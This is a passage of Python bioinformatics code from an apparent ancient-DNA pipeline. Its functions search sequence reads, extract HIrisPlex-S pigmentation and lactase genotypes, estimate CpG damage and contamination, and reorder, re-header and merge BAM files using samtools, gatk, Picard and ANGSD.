\"+i5)\n                            # print(\"Normal Line: \"+fastqlines[counter])\n                            # print(\"Short Line: \"+fastqlines[counter][-lengto:])\n                            ja5 = regex.findall(\"(\" + i5 + \"){e<=\" + str(mismatchBP) + \"}\",\n                                                fastqlines[counter][-lengto:])  # allows up to X base mismatches\n                            # if i5 == fastqlines[counter+1][-lengto:]:\n                            if len(ja5) != 0:\n                                # print(ja5[0])\n                                inLinePartialCounter += 1\n                                # input(\"Found I5\")\n\n                        for i3 in permutsThres3:\n                            lengto = int(len(i3))\n                            # print(\"i3: \"+i3)\n                            # print(\"Normal line:\"+fastqlines[counter])\n                            # print(\"Short line:\"+fastqlines[counter][0:lengto])\n                            ja3 = regex.findall(\"(\" + i3 + \"){e<=\" + str(mismatchBP) + \"}\",\n                                                fastqlines[counter][0:lengto])  # allows up to X base mismatches\n                            # if i3 == fastqlines[counter+1][0:lengto]:\n                            if len(ja3) != 0:\n                                # print(ja3[0])\n                                # input(\"Found I3\")\n                                # counthits +=1\n                                # countPartialHits +=1\n                                inLinePartialCounter += 1\n\n                if inLineCounter != 0:\n                    fastqout.append(fastqlines[counter - 1])\n                    fastqout.append(fastqlines[counter])\n                    fastqout.append(fastqlines[counter + 1])\n                    fastqout.append(fastqlines[counter + 2])\n                    counthits += 1\n                if inLineCounter == 0 and inLinePartialCounter != 0:\n                    fastqout.append(fastqlines[counter - 1])\n                    fastqout.append(fastqlines[counter])\n                    fastqout.append(fastqlines[counter + 1])\n                    fastqout.append(fastqlines[counter + 2])\n                    countPartialHits += 1\n                counter += 4\n\n    print(\"\\t\\tNumber of hits: \" + str(counthits))\n    print(\"\\t\\tNumber of partial hits: \" + str(countPartialHits))\n    fout.write(\"\\n\\t\\tNumber of hits: \" + str(counthits))\n    fout.write(\"\\n\\t\\tNumber of partial hits: \" + str(countPartialHits))\n    if len(fastqout) != 0:\n        fastqoutfile = open(oneFile + \"_seq_search\", 'w')\n        for i in fastqout:\n            fastqoutfile.write(i)\n\n\ndef hirisplex_lct(index, list_file=\"embedded\"):\n    \"\"\"\n    Extracts hirisplex system and lactose intolerance genotypes.\n\n    Input:\n    Foo.q30.rmdup.bam\n\n    Output:\n    Foo.pileupgatk.hirisplexlct.txt\n\n    :param index:\n    (str)   Path to reference genome fasta file.\n\n    :param list_file:\n    (str)   Deafult: \"embedded\", which uses an embedded list of positions. You can also provide the path to a text file containing list of the chromosomal locations of the genotypes to extract.\n    \"\"\"\n\n    cwd = os.getcwd()\n    embedded_list = [\"chr16:89985750-89985754\", \"chr16:89986091-89986091\", \"chr16:89986154-89986154\",\n                     \"chr16:89986144-89986144\", \"chr16:89985844-89985844\", \"chr16:89985918-89985918\",\n                     \"chr16:89986117-89986117\", \"chr16:89986546-89986546\", \"chr16:89986122-89986122\",\n                     \"chr16:89985940-89985940\", \"chr16:89986130-89986130\", \"chr5:33958959-33958959\",\n                     \"chr5:33951693-33951693\", \"chr12:89328335-89328335\", \"chr6:457748-457748\", \"chr6:396321-396321\",\n                     \"chr11:88911696-88911696\", \"chr15:28230318-28230318\", \"chr14:92801203-92801203\",\n                     \"chr15:28365618-28365618\", \"chr20:33218090-33218090\", \"chr14:92773663-92773663\",\n                     \"chr11:89011046-89011046\", \"chr9:12709305-12709305\", \"chr2:136608643-136608643\",\n                     \"chr2:136608646-136608646\", \"chr2:136608651-136608651\", \"chr2:136616754-136616754\",\n                     \"chr2:136608746-136608746\", \"chr20:32785212-32785212\", \"chr15:28187772-28187772\",\n                     \"chr15:48426484-48426484\"]\n    if list_file == \"embedded\":\n        hiris = open(\"HIRISPLEX_LCT.list\", \"w\")\n        for line in embedded_list:\n            hiris.write(line + \"\\n\")\n        hiris.close()\n        list_file = cwd + \"/HIRISPLEX_LCT.list\"\n\n    for i in os.listdir(cwd):\n\n        if re.search(\"\\.q..\\.rmdup\\.bam$\", i) != None:\n        #if '.q30.rmdup.bam' == i[-14:]:\n            #sample_id, sep, rest = i.partition('.q30')\n            sample_id, rest = re.split('\\.q..', i)\n            sep = re.findall('\\.q..', i)[0]\n            print(\"\\n\\t> Collecting hirisplex PILEUP data from sample: \" + sample_id)\n            if i + '.bai' in os.listdir(cwd):\n                print(\n                    '\\t\\tgatk \\n\\tPileup \\n\\t-R ' + index + ' \\n\\t-L ' + list_file + ' \\n\\t-I ' + i + ' \\n\\t-O ' + sample_id + '.pileupgatk.hirisplexlct.txt')\n                os.system(\n                    'gatk Pileup -R ' + index + ' -L ' + list_file + ' -I ' + i + ' -O ' + sample_id + '.pileupgatk.hirisplexlct.txt')\n                fout.write(time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + 'gatk Pileup -R ' + index + ' -L ' + list_file + ' -I ' + i + ' -O ' + sample_id + '.pileupgatk.hirisplexlct.txt')\n\n\ndef hirisplexs(referenceGenome, minBQ = 30, minMQ = 30, exclTerminals = False, hpsconvertonline_location = \"/home/dfernandes/Software/hpsconvertsonline.R\"):\n    \"\"\"\n    Extracts HIrisPlex-S genotypes and creates a CSV for direct upload to https://hirisplex.erasmusmc.nl/.\n    Requires \"hpsconvertonline.R\" from https://walshlab.sitehost.iu.edu/pages/tools.html, and a few edits to it:\n    \n    Replace line 5:\n    SourceFile<-file.choose()\n    \n    By:\n    args = commandArgs(trailingOnly=TRUE)\n    SourceFile = args[1]\n    options(error=expression(NULL))\n\n    And add these lines right before the last line with write.table:\n    online[online == \"NNANNA\"] = 'NA'\n    online[online == \"NANA\"] = 'NA'\n\n    Input:\n    Foo.q30.rmdup.bam\n\n    Output:\n    Foo.pileuphirisplexs.txt\n\n    :param index:\n    (str)   Path to reference genome fasta file.\n\n    :param list_file:\n    (str)   Deafult: \"embedded\", which uses an embedded list of positions. You can also provide the path to a text file containing list of the chromosomal locations of the genotypes to extract in BED format.\n    \"\"\"\n\n    cwd = os.getcwd()\n    import csv\n    #embedded_list = [\"5 33951692 33951693\",\"5 33958958 33958959\",\"6 396320 396321\",\"6 457747 457748\",\"9 12709304 12709305\",\"9 16858083 16858084\",\"11 88911695 88911696\",\"11 89011045 89011046\",\"11 89017960 89017961\",\"12 89328334 89328335\",\"14 92773662 92773663\",\"14 92801202 92801203\",\"14 92882825 92882826\",\"15 28187771 28187772\",\"15 28197036 28197037\",\"15 28230317 28230318\",\"15 28271774 28271775\",\"15 28288120 28288121\",\"15 28356858 28356859\",\"15 28365617 28365618\",\"15 28453214 28453215\",\"15 28496194 28496195\",\"15 28530181 28530182\",\"15 48426483 48426484\",\"16 89383724 89383725\",\"16 89984377 89984378\",\"16 89985843 89985844\",\"16 89985917 89985918\",\"16 89985939 89985940\",\"16 89986090 89986091\",\"16 89986116 89986117\",\"16 89986121 89986122\",\"16 89986129 89986130\",\"16 89986143 89986144\",\"16 89986153 89986154\",\"16 89986545 89986546\",\"16 90024205 90024206\",\"2 32665747 32665748\",\"2 32785211 32785212\",\"2 33218089 33218090\"]\n    embedded_list = ['2 32665747 32665748','2 32785211 32785212','2 33218089 33218090','5 33951692 33951693','5 33958958 33958959','6 396320 396321','6 457747 457748','9 12709304 12709305','9 16858083 16858084','11 88911695 88911696','11 89011045 89011046','11 89017960 89017961','12 89328334 89328335','14 92773662 92773663','14 92801202 92801203','14 92882825 92882826','15 28187771 28187772','15 28197036 28197037','15 28230317 28230318','15 28271774 28271775','15 28288120 28288121','15 28356858 28356859','15 28365617 28365618','15 28453214 28453215','15 28496194 28496195','15 28530181 28530182','15 48426483 48426484','16 89383724 89383725','16 89984377 89984378','16 89985843 89985844','16 89985917 89985918','16 89985939 89985940','16 89986090 89986091','16 89986116 89986117','16 89986121 89986122','16 89986129 89986130','16 89986143 89986144','16 89986153 89986154','16 89986545 89986546','16 90024205 90024206']\n    #embedded_list_rs_for_upload = ['rs16891982_C','rs28777_C','rs12203592_T','rs4959270_A','rs683_G','rs10756819_G','rs1042602_T','rs1393350_T','rs1126809_A','rs12821256_G','rs12896399_T','rs2402130_G','rs17128291_C','rs1545397_T','rs1800414_C','rs1800407_A','rs12441727_A','rs1470608_A','rs1129038_G','rs12913832_T','rs2238289_C','rs6497292_C','rs1667394_C','rs1426654_G','rs3114908_T','rs3212355_A','rs1805005_T','rs1805006_A','rs2228479_A','rs11547464_A','rs1805007_T','rs201326893_A','rs1110400_C','rs1805008_T','rs885479_T','rs1805009_C','rs8051733_C','rs6059655_T','rs6119471_C','rs2378249_C']\n    embedded_list_rs_for_upload = ['rs6059655_T','rs6119471_C','rs2378249_C','rs16891982_C','rs28777_C','rs12203592_T','rs4959270_A','rs683_G','rs10756819_G','rs1042602_T','rs1393350_T','rs1126809_A','rs12821256_G','rs12896399_T','rs2402130_G','rs17128291_C','rs1545397_T','rs1800414_C','rs1800407_A','rs12441727_A','rs1470608_A','rs1129038_G','rs12913832_T','rs2238289_C','rs6497292_C','rs1667394_C','rs1426654_G','rs3114908_T','rs3212355_A','rs1805005_T','rs1805006_A','rs2228479_A','rs11547464_A','rs1805007_T','rs201326893_A','rs1110400_C','rs1805008_T','rs885479_T','rs1805009_C','rs8051733_C']\n\n    hiris = open(\"hirisplexs.bed\", \"w\")\n    for line in embedded_list:\n        hiris.write(line + \"\\n\")\n    hiris.close()\n    list_file = cwd + \"/hirisplexs.bed\"\n\n    print(\"\\t< HIRISPLEX-S - Extract HIrisPlex-S genotypes and prepare file for upload >\")\n    fout.write(\"\\n\\n\\t< HIRISPLEX-S - Extract HIrisPlex-S genotypes and prepare file for upload >\")\n\n    for i in os.listdir(cwd):\n        if re.search(\"\\.q..\\.rmdup\\.bam$\", i) != None:\n            sample_id, rest = re.split('\\.q..', i)\n            sep = re.findall('\\.q..', i)[0]\n            print(\"\\n\\t> Collecting HIrisPlex-S PILEUP data from sample: \" + sample_id)\n            if i + '.bai' in os.listdir(cwd):\n                print(\"\\tsamtools mpileup -a -Q \" + str(minBQ) + \" -q \" + str(minMQ) + \" -B -f \" + referenceGenome + \" -l \" + list_file + \" \" + i + \" > \" + sample_id + \".pileuphirisplexs.txt\")\n                #os.system(\"samtools mpileup -a -Q \" + str(minBQ) + \" -q \" + str(minMQ) + \" -B -f \" + referenceGenome + \" -l \" + list_file + \" \" + i + \" > \" + sample_id + \".pileuphirisplexs.txt\")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools mpileup -a -Q \" + str(minBQ) + \" -q \" + str(minMQ) + \" -B -f \" + referenceGenome + \" -l \" + list_file + \" \" + i + \" > \" + sample_id + \".pileuphirisplexs.txt\")\n\n    csvLine1 =[\"sampleid\"]\n    csvLine1.extend(embedded_list_rs_for_upload)\n    #print(csvComb)\n    #print(jarrrrr)\n    csvOut = open('HIrisPlex-S_toConvert.csv', 'w+', newline = '')\n    writer = csv.writer(csvOut)\n    writer.writerow(csvLine1)\n    \n    for i in os.listdir(cwd):\n        if '.pileuphirisplexs.txt' == i[-21:]:\n            if os.path.getsize(i) > 0:\n                sample_id, rest = re.split('.pileuphirisplexs.txt', i)\n\n#                print(\"awk '{print $1\" + '\"-\"' + \"$2}' \" + i + \" > temporary1\")\n#                os.system(\"awk '{print $1\" + '\"-\"' + \"$2}' \" + i + \" > temporary1\")\n#                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"awk '{print $1\" + '\"-\"' + \"$2}' \" + i + \" > temporary1\")\n\n#                print(\"awk '{print $1\" + '\"-\"' + \"$4}' \" + mapList + \" | grep -n -x -w -F -f temporary1 | awk '{split($0, array, \" + '\":\"' + \"); print(array[1]) }' | awk 'FNR==NR{a[$1];next}FNR in a' - \" + mapList + \" > \" + sample_id + \".map\")\n#                os.system(\"awk '{print $1\" + '\"-\"' + \"$4}' \" + mapList + \" | grep -n -x -w -F -f temporary1 | awk '{split($0, array, \" + '\":\"' + \"); print(array[1]) }' | awk 'FNR==NR{a[$1];next}FNR in a' - \" + mapList + \" > \" + sample_id + \".map\")\n#                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"awk '{print $1\" + '\"-\"' + \"$4}' \" + mapList + \" | grep -n -x -w -F -f temporary1 | awk '{split($0, array, \" + '\":\"' + \"); print(array[1]) }' | awk 'FNR==NR{a[$1];next}FNR in a' - \" + mapList + \" > \" + sample_id + \".map\")\n#                os.remove(\"temporary1\")\n\n#                pedout = open(sample_id + '.ped', 'w')\n                csvLine2 = [sample_id]\n                pileupin = open(i, 'r')     \n                snpcount, discar = re.split(' ', os.popen('wc -l ' + i).read())\n                snpcount = int(snpcount)\n#                pedout.write(sample_id + ' ' + sample_id + ' 0 0 0 1 ')\n#                pileupin = open(i, 'r')\n                counter = 1\n                countbads = 0\n                for line in pileupin:\n                    if counter <= snpcount:\n                        line = line.rstrip()\n                        if line.split(\"\\t\")[3] == \"0\":\n                                csvLine2.append('NA')\n                                countbads += 1\n                        else:\n                            chro, coord, refb, cov, rbase, qual = line.split('\\t')\n                            counter += 1\n                            rbase = rbase.replace(\".\",refb.capitalize())\n                            rbase = rbase.replace(\",\",refb.capitalize())\n                            if int(cov) == 1:\n                                if r\"*\" in rbase or r\"+\" in rbase or r\"-\" in rbase:\n                                    csvLine2.append('NA')\n                                elif r\"$\" in rbase:\n                                    rbase = rbase[0]\n                                    if exclTerminals == True: \n                                        csvLine2.append('NA')\n                                    else:\n                                        csvLine2.append(rbase.capitalize() + rbase.capitalize())\n\n                                elif r\"^\" in rbase:\n                                    rbase = rbase[2]\n                                    if exclTerminals == True:\n                                        csvLine2.append('NA')\n                                    else:\n                                        csvLine2.append(rbase.capitalize() +rbase.capitalize())\n                                else:\n                                    csvLine2.append(rbase.capitalize() + rbase.capitalize())\n                            \n                            ## If there is more than one call for this position\n                            elif int(cov) > 1:\n                                listBases = list(rbase)\n                                ## Remove indels\n                                while r\"-\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"-\":\n                                            indexi = listBases.index(r\"-\")\n                                            delL = listBases[indexi+1]\n                                            del listBases[indexi:(indexi+int(delL)+2)] # delete indel annotation\n                                            del listBases[indexi-1] # delete indel\n                                while r\"+\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"+\":\n                                            indexi = listBases.index(r\"+\")\n                                            delL = listBases[indexi+1]\n                                            del listBases[indexi:(indexi+int(delL)+2)] # delete indel annotation\n                                            del listBases[indexi-1] # delete indel\n\n                                ## Remove start and end of read calls is requested (^ and $)\n                                while r\"^\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"^\":\n                                            indexi = listBases.index(r\"^\")\n                                            del listBases[indexi] # delete ^\n                                            del listBases[indexi] # delete the base quality after the ^\n                                            if exclTerminals == True:\n                                                del listBases[indexi] # delete the actual variant \n                                while r\"$\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"$\":\n                                            indexi = listBases.index(r\"$\")\n                                            del listBases[indexi] # delete $\n                                            if exclTerminals == True:\n                                                del listBases[indexi-1] # delete the actual variant \n\n                                if len(listBases) != 0:\n                                    chosenbase = random.choice(listBases)\n                                    csvLine2.append(chosenbase.capitalize() + chosenbase.capitalize())\n                                else:\n                                    countbads += 1\n                                    csvLine2.append('NA')\n                    else:\n                        pass\n\n                writer.writerow(csvLine2)\n\n    csvOut.close()\n\n    print(\"Rscript \" + hpsconvertonline_location + \" \" + cwd + \"/\" + 'HIrisPlex-S_toConvert.csv')\n    os.system(\"Rscript \" + hpsconvertonline_location + \" \" + cwd + \"/\" + 'HIrisPlex-S_toConvert.csv')\n\n    #print(\"Rscript Testing.R \" + cwd + \"/\" + 'HIrisPlex-S_toConvert.csv')\n    #os.system(\"Rscript Testing.R \" + cwd + \"/\" + 'HIrisPlex-S_toConvert.csv')\n\n\n\n\n\n\n\n\n\n\n\n\ndef CpGdamage(samIn=\"N18_merged.q30.rmdup.bam\", cpgDatabase=\"GPL13534-11288_reduced_ultra_37.txt\", CGasMissing=True,asFraction=True):\n    \"\"\"\n    adasdasdasd\n    \"\"\"\n\n    import pysam\n\n    samfile = pysam.AlignmentFile(samIn, 'rb')\n    cpgDB = open(cpgDatabase, 'r')\n    cpgDict = {}\n\n    cpgDB2 = cpgDB.readlines()[1:]\n    print(len(cpgDB2))\n    CpGmeth = {}\n    hitCount = {}\n    for ligna in cpgDB2:\n        cgID, chro, pos, strand = ligna.split('\\t')\n        chrom = str(\"chr\" + str(chro))\n        strand = strand.rstrip('\\n')\n        cpgDict[chrom, pos] = cgID\n\n        reads = samfile.fetch(chrom, int(pos) - 1, int(pos))  ##There seems to be an issue with the Illumina CpG database I downloaded, as coordinate of the C in a CpG seems to actually be -1 than shown\n        for i in reads:\n            # print(i)\n            # print(int(pos)-1)    ##Position of desired CpG\n            # print(str(i).split('\\t')[3])    ##Starting position of read\n            # print(str(i).split('\\t')[9])    ##Read\n            print(\"Methylated so far:\", len(CpGmeth))\n            print(\"Current chromosome: \", chrom, \"\\n\")\n            if int(pos) - 1 == int(str(i).split('\\t')[3]):  ##Find if position of CpG is at the very start of the read\n                if cgID in hitCount:  ##Counts how many 'CG's at start of reads exist for a specific cgID. Includes info for CpGs that either have damage pattern or nots. Needed this way for when CGasMissing == False\n                    hitCount[cgID] += 1\n                else:\n                    hitCount[cgID] = 1\n                ##Treats 'CG's at start of reads as missing information, because technically we can not be sure if they are methylated or not. They just are not damaged\n                if CGasMissing == True:\n                    if str(i).split('\\t')[9][0] == \"T\":\n                        # print(\"Methylated!\")\n                        if cgID in CpGmeth:\n                            CpGmeth[cgID] += 1\n                        else:\n                            CpGmeth[cgID] = 1\n                            # pass\n                            # else:\n                            #     print(\"Unmethylated!\")\n\n\n                            # print(CpGmeth)\n                            # print(hitCount)\n                            # print(hitCount[cgID])\n                            # input(\"Got it\")\n\n                ##Assuming a 'CG' as unmethylated, which is technically not true since it simply does not have damage\n                if CGasMissing == False:\n                    CpGmeth[cgID] = 0  ##Statement defining line\n                    if str(i).split('\\t')[9][0] == \"T\":\n                        # print(\"Methylated!\")\n                        if cgID in CpGmeth:\n                            CpGmeth[cgID] += 1\n                        else:\n                            CpGmeth[cgID] = 1\n                            # else:\n                            #     print(\"Unmethylated!\")\n\n                            # print(CpGmeth)\n                            # input(\"Got it\")\n\n    # print(CpGmeth)\n    # print(hitCount)\n    print(\"Len of hitcount: \", len(hitCount))\n    print(\"Len of CpGmeth: \", len(CpGmeth))\n\n    fileOut = open(str(samIn + \".betabinary\"), 'w')\n    if asFraction == True:\n        fileOut.write(\"ID\\tMethCount\\tTotalHits\\tBetaAsFrac\\n\")\n        for item in CpGmeth:\n            # print(item)\n            # print(CpGmeth[item])\n            beta = CpGmeth[item] / hitCount[item]\n            fileOut.write(item + \"\\t\" + str(CpGmeth[item]) + \"\\t\" + str(hitCount[item]) + \"\\t\" + str(beta) + \"\\n\")\n    elif asFraction == False:\n        fileOut.write(\"ID\\tMethCount\\tTotalHits\\tBeta\\n\")\n        for item in CpGmeth:\n            # print(item)\n            # print(CpGmeth[item])\n            if CpGmeth[item] > 1:\n                beta = 1\n            else:\n                beta = CpGmeth[item]\n            fileOut.write(item + \"\\t\" + str(CpGmeth[item]) + \"\\t\" + str(hitCount[item]) + \"\\t\" + str(beta) + \"\\n\")\n\n    cpgDB.close()\n\n\ndef transFst(bimFile):\n    \"\"\"\n    Outputs a list of SNPs characterized by having two transversion alleles (i.e. exclude CT and AG).\n\n    :param bimFile:\n    :return:\n    \"\"\"\n\n    bimFileOpen = open(bimFile, \"r\")\n    allFile = bimFileOpen.readlines()\n    transList = []\n    counter = 0\n    for i in allFile:\n        ct = str(i.split(\"\\t\")[4]) + str(i.split(\"\\t\")[5])\n        if ct != \"CT\\n\" and ct != \"TC\\n\" and ct != \"AG\\n\" and ct != \"GA\\n\":\n            transList.append(i.split(\"\\t\")[1])\n        else:\n            counter += 1\n\n    with open(bimFile.split(\".bim\")[0] + \"_transvOnly\", \"w\") as fout:\n        for i in transList:\n            fout.write(i + \"\\n\")\n\n\n# print(len(transList))\n#    print(counter)\n\ndef reorderBAM(index, extensionBAM=\".q30.rmdup.bam\", rename=True):\n    \"\"\"\n    Reorders contigs in BAM files that do not match the order on the desired index.\n\n    :param index:\n    (str)   Path to index fasta file.\n    :param extensionBAM:\n    (str)   Extension of BAM files to find and work on. All files must have this extension. Only one string accepted.\n    :param rename:\n    (boolean)   Rename original BAM files by adding \".originalOrderBam\", and then rename the newly ordered files to match the original file name. True or False.\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< REORDERING BAM CONTIGS - Reordering BAM file chromosomes according to given index genome >\")\n    fout.write(\"\\n< REORDERING BAM CONTIGS - Reordering BAM file chromosomes according to given index genome >\")\n\n    ## Check if index genome already has a sequence dictionary\n    counter = 0\n    pathToIndex, indexFa = index.rsplit(\"/\", 1)\n    if re.search(\".fasta$\", indexFa) != None:\n        indexNoFa = indexFa.rsplit(\".fasta\", 1)[0]\n    elif re.search(\".fa$\", indexFa) != None:\n        indexNoFa = indexFa.rsplit(\".fa\", 1)[0]\n    for file in os.listdir(pathToIndex):\n        if re.search(indexNoFa + \".dict\", file) != None:\n            counter += 1\n    if counter == 0:\n        print(\"\\t> WARNING: Index dictionary file not found. Trying to generate it with PicardTools...\")\n        fout.write(\"\\n\\t> WARNING: Index dictionary file not found. Trying to generate it with PicardTools...\")\n        print(\"\\t\" + 'picard.jar CreateSequenceDictionary R=' + index + ' O=' + indexNoFa + '.dict')\n        os.system('picard.jar CreateSequenceDictionary R=' + index + ' O=' + indexNoFa + '.dict')\n        fout.write(time.strftime(\n            \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'picard.jar CreateSequenceDictionary R=' + index + ' O=' + indexNoFa + '.dict' + '\\n')\n\n    if counter == 0 and indexNoFa + \".dict\" not in os.listdir(pathToIndex):\n        print(\"\\t> ERROR: Could not create or find index dictionary file. Aborting...\")\n        fout.write(\"\\n\\t> ERROR: Could not create or find index dictionary file. Aborting...\")\n        quit()\n\n    ## Continue if all ok\n    for file in os.listdir(cwd):\n        if re.search(extensionBAM, file) != None and re.search(\".bam$\", file) != None:\n            print(\"\\t\" + 'picard.jar ReorderSam R=' + index + ' O=' + file + '.reorder I=' + file)\n            os.system('picard.jar ReorderSam R=' + index + ' O=' + file + '.reorder I=' + file)\n            fout.write(time.strftime(\n                \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'picard.jar ReorderSam R=' + index + ' O=' + file + '.reorder I=' + file + '\\n')\n            ## Rename if True\n            if rename == True:\n                os.rename(file, file + \".originalOrderBam\")\n                os.rename(file + \".reorder\", file)\n\n\ndef editHeaderBAMbatch(extensionBAM=\".q30.rmdup.bam\", RGid=\"1\", RGlb=\"lib1\", RGpl=\"ILLUMINA\", RGpu=\"unit1\",rename=True):\n    \"\"\"\n    Edits/adds headers for/to all BAM files in folder with given extension.\n\n    :param extensionBAM:\n    (str)   Extension of BAM files to find and work on. All files must have this extension. Only one string accepted.\n    :param RGid:\n    (str)   Group tag. Default is \"1\"\n    :param RGlb:\n    (str)   Library tag. Default is \"lib1\"\n    :param RGpl:\n    (str)   Sequencing platform tag. Default is \"ILLUMINA\"\n    :param RGpu:\n    (str)   Platform unit tag. Default is \"unit1\"\n    :param rename:\n    (boolean)   Rename original BAM files by adding \".originalOrderBam\", and then rename the newly ordered files to match the original file name. True or False.\n    :return:\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< EDITING BAM HEADERS - Edits BAM file headers >\")\n    fout.write(\"\\n< EDITING BAM HEADERS - Edits BAM file headers >\")\n\n    for file in os.listdir(cwd):\n        if re.search(extensionBAM, file) != None and re.search(\".bam$\", file) != None:\n            sample_id, sep = file.split(extensionBAM, 1)\n            print(sample_id)\n            print(\n                \"\\t\" + 'picard.jar AddOrReplaceReadGroups I=' + file + ' O=' + file + '.newheader RGID=' + RGid + ' RGLB=' + RGlb + ' RGPL=' + RGpl + ' RGPU=' + RGpu + ' RGSM=' + sample_id)\n            os.system(\n                'picard.jar AddOrReplaceReadGroups I=' + file + ' O=' + file + '.newheader RGID=' + RGid + ' RGLB=' + RGlb + ' RGPL=' + RGpl + ' RGPU=' + RGpu + ' RGSM=' + sample_id)\n            fout.write(time.strftime(\n                \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'picard.jar AddOrReplaceReadGroups I=' + file + ' O=' + file + '.newheader RGID=' + RGid + ' RGLB=' + RGlb + ' RGPL=' + RGpl + ' RGPU=' + RGpu + ' RGSM=' + sample_id + '\\n')\n            ## Rename if True\n            if rename == True:\n                os.rename(file, file + \".originalHeaderBam\")\n                os.rename(file + \".newheader\", file)\n\n\ndef test_su():\n    import sys\n    prac3functions = sys.argv[0]\n    a, b, c, d = int(sys.argv[1]), int(sys.argv[2]), int(sys.argv[3]), int(sys.argv[4])\n    mylist = [a, b, c, d]\n    print(mylist)\n\n    def calculate_sum(a):\n        summ = sum(a)\n        print(\"The sum of the four integers {} is: {}\".format(a, summ))\n\n    def calculate_product(b):\n        product = ((b[0]) * (b[1]) * (b[2]) * (b[3]))\n        print(\"The product of the four integers {} is: {}\".format(b, product))\n\n    calculate_product(mylist)\n    calculate_sum(mylist)\n\n\ndef angsd_contamination(extensionBAM,mode=\"C\"):\n    \"\"\"\n\n    :param extensionBAM:\n\n    :param mode:\n    Use R or C mode of contamiantion estimation. Default C.\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< ANGSD - Estimating contamination on male individuals with ANGSD >\")\n    fout.write(\"\\n< ANGSD - Estimating contamination on male individuals with ANGSD >\")\n\n    for file in os.listdir(cwd):\n        if re.search(extensionBAM, file) != None and re.search(\".bam$\", file) != None:\n            sample_id, sep = file.split(extensionBAM, 1)\n            print(\"\\t/home/dfernandes/Software/angsd/angsd -i \"+file+\" -r chrX:5000000-154900000 -doCounts 1  -iCounts 1 -minMapQ 30 -minQ 20\")\n            os.system(\"/home/dfernandes/Software/angsd/angsd -i \"+file+\" -r chrX:5000000-154900000 -doCounts 1  -iCounts 1 -minMapQ 30 -minQ 20\")\n            os.rename(\"angsdput.icnts.gz\",sample_id+\".icnts.gz\")\n            if mode == \"C\":\n                print(\"\\tnohup /home/dfernandes/Software/angsd/misc/contamination -a \"+sample_id+\".icnts.gz -h /home/dfernandes/Software/angsd/RES/HapMapChrX.gz > \"+sample_id+\"angsd\")\n                os.system(\"nohup /home/dfernandes/Software/angsd/misc/contamination -a \"+sample_id+\".icnts.gz -h /home/dfernandes/Software/angsd/RES/HapMapChrX.gz > \"+sample_id+\"angsd\")\n            elif mode == \"R\":\n                print(\"nohup Rscript /home/dfernandes/Software/angsd/R/contamination.R mapFile=/home/dfernandes/Software/angsd/RES/chrX.unique.gz hapFile=/home/dfernandes/Software/angsd/RES/HapMapChrX.gz countFile=\" + sample_id + \".icnts.gz > \" + sample_id + \"angsd\")\n                os.system(\"nohup Rscript /home/dfernandes/Software/angsd/R/contamination.R mapFile=/home/dfernandes/Software/angsd/RES/chrX.unique.gz hapFile=/home/dfernandes/Software/angsd/RES/HapMapChrX.gz countFile=\" + sample_id + \".icnts.gz > \" + sample_id + \"angsd\")\n\ndef damageRestrict(samIn, refGenome):\n    \"\"\"\n    adasdasdasd\n    \"\"\"\n\n    import subprocess\n    import pysam\n\n    # import time\n    # start_time = time.time()\n\n    samfile = pysam.AlignmentFile(samIn, 'rb')\n    samOut = pysam.AlignmentFile(samIn+\".damageRestrict\", \"wb\", template=samfile)\n\n    ## Create chr order dictionary\n    os.system(\"samtools idxstats \"+samIn+\" > temp1\")\n    temp1open = open(\"temp1\", \"r\")\n    chrOrder = {}\n    counter = 0\n    for line in temp1open:\n        chrOrder[counter] = line.split()[0]\n        counter += 1\n    os.remove(\"temp1\")\n\n    lista = []\n    counter = 1\n    for i in samfile:\n        if str(i).split()[9][0] == \"T\":\n            lista.append((counter))\n        counter += 1\n    samfile.close()\n    samfile = pysam.AlignmentFile(samIn, 'rb')\n\n    #countCs = 0 ## If want to get a percentage, like mapDamage\n    counter = 1\n    for i in samfile:\n        if counter in lista:\n            chro = int(str(i).split()[2])\n            pos = int(str(i).split()[3])+1  ## Pysam reports 1bp less on the coordinates, so adding +1\n            readBp1 = str(i).split()[9][0]\n\n            proc = subprocess.Popen([\"samtools faidx \"+refGenome+\" \"+chrOrder[chro]+\":\"+str(pos)+\"-\"+str(pos)],stdout=subprocess.PIPE, shell=True)\n            (out, err) = proc.communicate()\n            refBase = str(out.split()[1])[2].upper()\n\n            # if readBp1 == \"C\":  ## If want to get a percentage, like mapDamage\n            #     countCs += 1\n\n            if readBp1 == \"T\" and refBase == \"C\":\n                samOut.write(i)\n            counter +=1\n        else:\n            counter +=1\n\n\n    samfile.close()\n    samOut.close()\n\n    #print(\"--- %s seconds ---\" % (time.time() - start_time))\n    #print(countCs)\n\ndef mergeBamsBatch(qualThreshold = 30, remSourceFiles = False):\n    \"\"\"\n    Merges each sample's 'rmdup.bam' files originated by multiple lanes.\n\n    Input:\n    Foo1_L001.q30.rmdup.bam\n    Foo1_L002.q30.rmdup.bam\n    Foo1_L003.q30.rmdup.bam\n    Foo1_L004.q30.rmdup.bam\n\n    Output:\n    Foo1_merged.q30.rmdup.bam\n    Foo1_merged.q30.rmdup.bai\n\n    :param remSourceFiles:\n    (boolean)   Remove source files. Default = False.\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< MERGEBAMSBATCH - Batch merging each sample's bam files >\")\n    fout.write(\"\\n< MERGEBAMSBATCH - Batch merging each sample's bam files >\")\n\n    qualThreshold = str(qualThreshold)\n    bamDict = {}\n    for i in os.listdir(cwd):\n        #print(i)\n        ja = re.search(r'_S\\d\\d_L\\d\\d\\d\\.q..\\.rmdup\\.bam$', i)\n        ba = re.search(r'\\.bai$', i)\n        if ja is not 